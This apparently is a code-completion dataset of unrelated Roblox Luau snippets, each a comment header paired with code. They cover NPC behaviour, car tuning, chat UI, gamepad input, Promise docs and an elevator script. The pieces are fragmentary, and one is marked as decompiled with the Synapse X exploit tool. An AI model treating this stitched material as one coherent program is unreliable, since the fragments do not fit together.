JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end; |
--Tune |
OverheatSpeed = .125 --How fast the car will overheat
CoolingEfficiency = .075 --How fast the car will cool down
RunningTemp = 85 --In degrees
Fan = true --Cooling fan
FanTemp = 105 --At what temperature the cooling fan will activate
FanSpeed = .2
FanVolume = .25
BlowupTemp = 130 --At what temperature the engine will blow up
|
----------------------------------
------------VARIABLES-------------
---------------------------------- |
User = nil
Connector = game.Workspace:FindFirstChild("GlobalPianoConnector")
if not Connector or not Connector:IsA("RemoteEvent") then
error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.")
end
|
-- (EarthHelm Giver - Loaded.) |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "EarthHelm"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(1, 0.4, 1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentForward = Vector3.new (-0, -0, -1)
h.AttachmentPos = Vector3.new(0, -0.2, 0)
h.AttachmentRight = Vector3.new (1, 0, 0)
h.AttachmentUp = Vector3.new (0, 1, 0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- Services |
local ContextActionService = game:GetService("ContextActionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
|
-- ROBLOX deviation start: predefine functions |
local comparePrimitive
local compareObjects
local getFormatOptions
local getObjectsDifference |
--None of this is mine... |
script.Parent.Equipped:Connect(function()
script.Parent.WAP.act:FireServer()
end)
script.Parent.Unequipped:Connect(function()
script.Parent.WAP.dct:FireServer()
end)
|
--[=[
Chains onto an existing Promise and returns a new Promise.
:::warning
Within the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first.
:::
You can return a Promise from the success or failure handler and it will be chained onto.
Calling `andThen` on a cancelled Promise returns a cancelled Promise.
:::tip
If the Promise returned by `andThen` is cancelled, `successHandler` and `failureHandler` will not run.
To run code no matter what, use [Promise:finally].
:::
@param successHandler (...: any) -> ...any
@param failureHandler? (...: any) -> ...any
@return Promise<...any>
]=] |
function Promise.prototype:andThen(successHandler, failureHandler)
assert(successHandler == nil or isCallable(successHandler), string.format(ERROR_NON_FUNCTION, "Promise:andThen"))
assert(failureHandler == nil or isCallable(failureHandler), string.format(ERROR_NON_FUNCTION, "Promise:andThen"))
return self:_andThen(debug.traceback(nil, 2), successHandler, failureHandler)
end
|
-- Basic settings |
local MAX_SPAM_SCORE = 5
local plr = game.Players.LocalPlayer
local tweenService = game:GetService("TweenService")
local inputService = game:GetService("UserInputService")
local defaultMsg = "To chat navigate here and click"
local previousText = script.Parent.TypeArea.Text
local size = 1
local tweenInProgress = false
local spamScore = 0
function tweenToVisible()
-- Tween transparencies
local goal1 = { BackgroundTransparency = 0.6 }
local goal2 = { TextTransparency = 0.3 }
tweenService:Create(script.Parent, TweenInfo.new(0.35, Enum.EasingStyle.Linear), goal1):Play()
tweenService:Create(script.Parent.WhiteArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal1):Play()
tweenService:Create(script.Parent.TypeArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal2):Play()
end
function tweenToInvisible()
-- Tween transparencies
local goal1 = { BackgroundTransparency = 0.8 }
local goal2 = { TextTransparency = 0.65 }
tweenService:Create(script.Parent, TweenInfo.new(0.35, Enum.EasingStyle.Linear), goal1):Play()
tweenService:Create(script.Parent.WhiteArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal1):Play()
tweenService:Create(script.Parent.TypeArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal2):Play()
end
function tweenToTripleSize()
-- Tween size
tweenInProgress = true
local goal = { Size = UDim2.new(0.5, -230 , 0, 72) }
local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
tween.Completed:connect(function()
tweenInProgress = false
end)
tween:Play()
end
function tweenToDoubleSize()
-- Tween size
tweenInProgress = true
local goal = { Size = UDim2.new(0.5, -230 , 0, 56) }
local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
tween.Completed:connect(function()
tweenInProgress = false
end)
tween:Play()
end
function tweenToNormalSize()
-- Tween size
tweenInProgress = true
local goal = { Size = UDim2.new(0.5, -230 , 0, 40) }
local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
tween.Completed:connect(function()
tweenInProgress = false
end)
tween:Play()
end
script.Parent.TypeArea.Focused:connect(function()
-- Reset text if default
if script.Parent.TypeArea.Text == defaultMsg then
script.Parent.TypeArea.Text = ""
end
-- Make more visible
tweenToVisible()
end)
script.Parent.TypeArea.FocusLost:connect(function(enterPressed)
-- Check if enter was pressed
if enterPressed then
-- Clear spaces at beginning
local msg = script.Parent.TypeArea.Text
for i=1, string.len(script.Parent.TypeArea.Text) do
if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' and i < string.len(script.Parent.TypeArea.Text) then
msg = string.sub(script.Parent.TypeArea.Text, i + 1, string.len(script.Parent.TypeArea.Text))
else
if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' then
msg = ""
end
break
end
end
-- Clear spaces at end
if msg ~= "" then
local prevMsg = msg
for i=string.len(prevMsg), 1, -1 do
if string.sub(prevMsg, i, i) == ' ' and i > 1 then
msg = string.sub(prevMsg, 1, i - 1)
else
if string.sub(prevMsg, i, i) == ' ' then
msg = ""
end
break
end
end
end
-- Send message if not blank
if msg ~= "" and spamScore <= MAX_SPAM_SCORE then
game.ReplicatedStorage.Interactions.Server.SendChatMessage:FireServer(msg)
spamScore = spamScore + 2
elseif msg ~= "" and spamScore > MAX_SPAM_SCORE then
plr.PlayerGui.MainGui.Chat.ShowChatMessage:Fire(nil, "You are chatting too quickly. You can chat again in " .. spamScore - MAX_SPAM_SCORE .. " seconds.")
end
-- Clear set text to default text
script.Parent.TypeArea.Text = defaultMsg
else
-- Set to default if blank
if script.Parent.TypeArea.Text == "" then
script.Parent.TypeArea.Text = defaultMsg
end
end
-- Make less visible
tweenToInvisible()
end)
script.Parent.TypeArea:GetPropertyChangedSignal("Text"):connect(function()
-- Check if went out of bounds
if not tweenInProgress then
if not script.Parent.TypeArea.TextFits and size == 1 then
tweenToDoubleSize()
size = 2
elseif not script.Parent.TypeArea.TextFits and size == 2 then
tweenToTripleSize()
size = 3
elseif not script.Parent.TypeArea.TextFits and size == 3 then
script.Parent.TypeArea.Text = previousText
elseif size > 2 and script.Parent.TypeArea.TextBounds.Y == 32 then
tweenToDoubleSize()
size = 2
elseif size > 1 and script.Parent.TypeArea.TextBounds.Y == 16 then
tweenToNormalSize()
size = 1
end
end
-- Set previous text
previousText = script.Parent.TypeArea.Text
end)
|
-- This function selects the lowest number gamepad from the currently-connected gamepad
-- and sets it as the active gamepad |
function Gamepad:GetHighestPriorityGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
local bestGamepad = NONE -- Note that this value is higher than all valid gamepad values
for _, gamepad in pairs(connectedGamepads) do
if gamepad.Value < bestGamepad.Value then
bestGamepad = gamepad
end
end
return bestGamepad
end
function Gamepad:BindContextActions()
if self.activeGamepad == NONE then
-- There must be an active gamepad to set up bindings
return false
end
local handleJumpAction = function(actionName, inputState, inputObject)
self.isJumping = (inputState == Enum.UserInputState.Begin)
return Enum.ContextActionResult.Sink
end
local handleThumbstickInput = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Cancel then
self.moveVector = ZERO_VECTOR3
return Enum.ContextActionResult.Sink
end
if self.activeGamepad ~= inputObject.UserInputType then
return Enum.ContextActionResult.Pass
end
if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end
if inputObject.Position.magnitude > thumbstickDeadzone then
self.moveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
else
self.moveVector = ZERO_VECTOR3
end
return Enum.ContextActionResult.Sink
end
ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false,
self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonA)
ContextActionService:BindActionAtPriority("moveThumbstick", handleThumbstickInput, false,
self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Thumbstick1)
return true
end
function Gamepad:UnbindContextActions()
if self.activeGamepad ~= NONE then
ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
end
ContextActionService:UnbindAction("moveThumbstick")
ContextActionService:UnbindAction("jumpAction")
end
function Gamepad:OnNewGamepadConnected()
-- A new gamepad has been connected.
local bestGamepad = self:GetHighestPriorityGamepad()
if bestGamepad == self.activeGamepad then
-- A new gamepad was connected, but our active gamepad is not changing
return
end
if bestGamepad == NONE then
-- There should be an active gamepad when GamepadConnected fires, so this should not
-- normally be hit. If there is no active gamepad, unbind actions but leave
-- the module enabled and continue to listen for a new gamepad connection.
warn("Gamepad:OnNewGamepadConnected found no connected gamepads")
self:UnbindContextActions()
return
end
if self.activeGamepad ~= NONE then
-- Switching from one active gamepad to another
self:UnbindContextActions()
end
self.activeGamepad = bestGamepad
self:BindContextActions()
end
function Gamepad:OnCurrentGamepadDisconnected()
if self.activeGamepad ~= NONE then
ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
end
local bestGamepad = self:GetHighestPriorityGamepad()
if self.activeGamepad ~= NONE and bestGamepad == self.activeGamepad then
warn("Gamepad:OnCurrentGamepadDisconnected found the supposedly disconnected gamepad in connectedGamepads.")
self:UnbindContextActions()
self.activeGamepad = NONE
return
end
if bestGamepad == NONE then
-- No active gamepad, unbinding actions but leaving gamepad connection listener active
self:UnbindContextActions()
self.activeGamepad = NONE
else
-- Set new gamepad as active and bind to tool activation
self.activeGamepad = bestGamepad
ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
end
end
function Gamepad:ConnectGamepadConnectionListeners()
self.gamepadConnectedConn = UserInputService.GamepadConnected:Connect(function(gamepadEnum)
self:OnNewGamepadConnected()
end)
self.gamepadDisconnectedConn = UserInputService.GamepadDisconnected:Connect(function(gamepadEnum)
if self.activeGamepad == gamepadEnum then
self:OnCurrentGamepadDisconnected()
end
end)
end
function Gamepad:DisconnectGamepadConnectionListeners()
if self.gamepadConnectedConn then
self.gamepadConnectedConn:Disconnect()
self.gamepadConnectedConn = nil
end
if self.gamepadDisconnectedConn then
self.gamepadDisconnectedConn:Disconnect()
self.gamepadDisconnectedConn = nil
end
end
return Gamepad
|
--- Returns an ArgumentContext for the specific index |
function Command:GetArgument (index)
return self.Arguments[index]
end
|
--I M P O R T A N T--
------------------------------------------------------------------------
--Don't change any of this unless you know what you are doing.
--This script is the blur affect but also the exit button script.
------------------------------------------------------------------------ |
local blur = game.Lighting.Blur
local frame = script.Parent
local close = script.Parent:WaitForChild("CloseButton")
if
frame.Visible == true
then
blur.Enabled = true
end
close.MouseButton1Click:Connect(function()
frame.Visible = false
blur.Enabled = false
end)
|
--The "Creative" option makes it so you can jump infinitly (True if yes, False if no) |
repeat wait() until Game:GetService("Players")
local Player = Game.Players.LocalPlayer
repeat wait() until Player
local FirstJump = false
local MidJump = false
local Mouse = Player:GetMouse()
TING = false
function onKeyDown(key)
if string.byte(key) == 32 and FirstJump == true and not TING and (MidJump == false or script.Creative.Value == true) then
TING = true
MidJump = true
Player.Character.Torso.Velocity = Vector3.new(0,85,0) --How high Player jumps
Player.Character.Humanoid.WalkSpeed = 36 -- This change the walkspeed
script.Jump1:Play()
wait(1.1) --Double Jump cooldown (Not normal jump)
TING = false
end
end
|
-- upstream: https://github.com/facebook/react/blob/b61174fb7b09580c1ec2a8f55e73204b706d2935/packages/shared/ReactSymbols.js
--!strict
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]] | |
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here |
MakeWeld(misc.Popups.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Popups.Parts,misc.Popups.Hinge)
|
--[[Drivetrain]] |
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 80 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 20 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 75 -- 1 - 100%
Tune.RDiffLockThres = 25 -- 0 - 100%
Tune.CDiffSlipThres = 80 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 20 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 0 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 15 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 6 -- Minimum amount of torque at max reduction (in percent)
|
--[=[
Initializes a new promise with the given function in a delay wrapper.
@param seconds number
@param func (resolve: (...) -> (), reject: (...) -> ()) -> ()?
@return Promise<T>
]=] |
function Promise.delay(seconds, func)
assert(type(seconds) == "number", "Bad seconds")
assert(type(func) == "function", "Bad func")
local self = Promise.new()
task.delay(seconds, func, self:_getResolveReject())
return self
end
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {
Name = "runif",
Aliases = {},
Description = "Runs a given command string if a certain condition is met.",
Group = "DefaultUtil",
Args = { {
Type = "conditionFunction",
Name = "Condition",
Description = "The condition function"
}, {
Type = "string",
Name = "Argument",
Description = "The argument to the condition function"
}, {
Type = "string",
Name = "Test against",
Description = "The text to test against."
}, {
Type = "string",
Name = "Command",
Description = "The command string to run if requirements are met. If omitted, return value from condition function is used.",
Optional = true
} }
};
local u1 = {
startsWith = function(p1, p2)
if p1:sub(1, #p2) ~= p2 then
return;
end;
return p1:sub(#p2 + 1);
end
};
function v1.Run(p3, p4, p5, p6, p7)
local v2 = u1[p4];
if not v2 then
return ("Condition %q is not valid."):format(p4);
end;
local v3 = v2(p6, p5);
if not v3 then
return "";
end;
return p3.Dispatcher:EvaluateAndRun(p3.Cmdr.Util.RunEmbeddedCommands(p3.Dispatcher, p7 and v3));
end;
return v1;
|
--Settings |
local MIN_FLIP_ANGLE = 70 --degrees from vertical |
-- This loads from, or lazily creates, NumberValue objects for exposed parameters |
function OrbitalCamera:LoadNumberValueParameters()
-- These initial values do not require change listeners since they are read only once
self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)
-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits
self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue)
self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues)
-- Internal values set (in radians, from degrees), plus sanitization
self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"])
self.curElevationRad = math.rad(self.externalProperties["InitialElevation"])
self.curDistance = self.externalProperties["InitialDistance"]
self:SetAndBoundsCheckAzimuthValues()
self:SetAndBoundsCheckElevationValues()
self:SetAndBoundsCheckDistanceValues()
end
function OrbitalCamera:GetModuleName()
return "OrbitalCamera"
end
function OrbitalCamera:SetInitialOrientation(humanoid)
if not humanoid or not humanoid.RootPart then
warn("OrbitalCamera could not set initial orientation due to missing humanoid")
return
end
local newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())
local vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y)
if not Util.IsFinite(horizontalShift) then
horizontalShift = 0
end
if not Util.IsFinite(vertShift) then
vertShift = 0
end
self.rotateInput = Vector2.new(horizontalShift, vertShift)
end
|
------------------------- |
function DoorClose()
if Shaft00.MetalDoor.CanCollide == false then
Shaft00.MetalDoor.CanCollide = true
while Shaft00.MetalDoor.Transparency > 0.0 do
Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed.
end
if Shaft01.MetalDoor.CanCollide == false then
Shaft01.MetalDoor.CanCollide = true
while Shaft01.MetalDoor.Transparency > 0.0 do
Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft02.MetalDoor.CanCollide == false then
Shaft02.MetalDoor.CanCollide = true
while Shaft02.MetalDoor.Transparency > 0.0 do
Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft03.MetalDoor.CanCollide == false then
Shaft03.MetalDoor.CanCollide = true
while Shaft03.MetalDoor.Transparency > 0.0 do
Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft04.MetalDoor.CanCollide == false then
Shaft04.MetalDoor.CanCollide = true
while Shaft04.MetalDoor.Transparency > 0.0 do
Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft05.MetalDoor.CanCollide == false then
Shaft05.MetalDoor.CanCollide = true
while Shaft05.MetalDoor.Transparency > 0.0 do
Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1
wait(0.000001)
end
end
if Shaft06.MetalDoor.CanCollide == false then
Shaft06.MetalDoor.CanCollide = true
while Shaft06.MetalDoor.Transparency > 0.0 do
Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft07.MetalDoor.CanCollide == false then
Shaft07.MetalDoor.CanCollide = true
while Shaft07.MetalDoor.Transparency > 0.0 do
Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft08.MetalDoor.CanCollide == false then
Shaft08.MetalDoor.CanCollide = true
while Shaft08.MetalDoor.Transparency > 0.0 do
Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft09.MetalDoor.CanCollide == false then
Shaft09.MetalDoor.CanCollide = true
while Shaft09.MetalDoor.Transparency > 0.0 do
Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft10.MetalDoor.CanCollide == false then
Shaft10.MetalDoor.CanCollide = true
while Shaft10.MetalDoor.Transparency > 0.0 do
Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft11.MetalDoor.CanCollide == false then
Shaft11.MetalDoor.CanCollide = true
while Shaft11.MetalDoor.Transparency > 0.0 do
Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft12.MetalDoor.CanCollide == false then
Shaft12.MetalDoor.CanCollide = true
while Shaft12.MetalDoor.Transparency > 0.0 do
Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft13.MetalDoor.CanCollide == false then
Shaft13.MetalDoor.CanCollide = true
while Shaft13.MetalDoor.Transparency > 0.0 do
Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
end
function onClicked()
DoorClose()
end
script.Parent.MouseButton1Click:connect(onClicked)
script.Parent.MouseButton1Click:connect(function()
if clicker == true
then clicker = false
else
return
end
end)
script.Parent.MouseButton1Click:connect(function()
Car.Touched:connect(function(otherPart)
if otherPart == Elevator.Floors.F06
then StopE() DoorOpen()
end
end)end)
function StopE()
Car.BodyVelocity.velocity = Vector3.new(0, 0, 0)
Car.BodyPosition.position = Elevator.Floors.F06.Position
clicker = true
end
function DoorOpen()
while Shaft05.MetalDoor.Transparency < 1.0 do
Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency + .1
wait(0.000001)
end
Shaft05.MetalDoor.CanCollide = false
end
|
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